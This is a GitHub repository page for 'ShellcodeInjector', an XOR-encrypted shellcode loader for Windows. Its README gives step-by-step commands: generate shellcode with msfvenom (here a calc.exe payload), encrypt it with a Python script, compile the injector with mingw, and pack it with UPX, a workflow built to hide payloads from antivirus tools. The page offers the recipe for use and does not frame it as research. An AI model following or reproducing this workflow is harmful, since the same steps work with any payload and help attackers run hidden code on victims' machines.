Skip to content

NLXZ/ShellcodeInjector

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 

Repository files navigation

Shellcode Injector

# Generate shellcode
$ msfvenom -p windows/x64/exec CMD=calc.exe -f hex -o shellcode.hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of hex file: 552 bytes
Saved as: shellcode.hex

# Encrypt shellcode
$ python3 encrypt.py
Usage: python3 encrypt.py <hex_shellcode | @file> [-o output_file]

$ python3 encrypt.py @shellcode.hex -o shellcode.hex

324994be88f9dd01cee74e9e766b4eb5

# Compile
$ make
x86_64-w64-mingw32-gcc injector.c -o injector.exe

# Reduce size (Optional)
$ upx --best --lzma injector.exe
# Execute
.\injector.exe <hex_shellcode | @file> <hex_xor_key>

About

Simple XOR encrypted shellcode injector

Resources

Stars

Watchers

Forks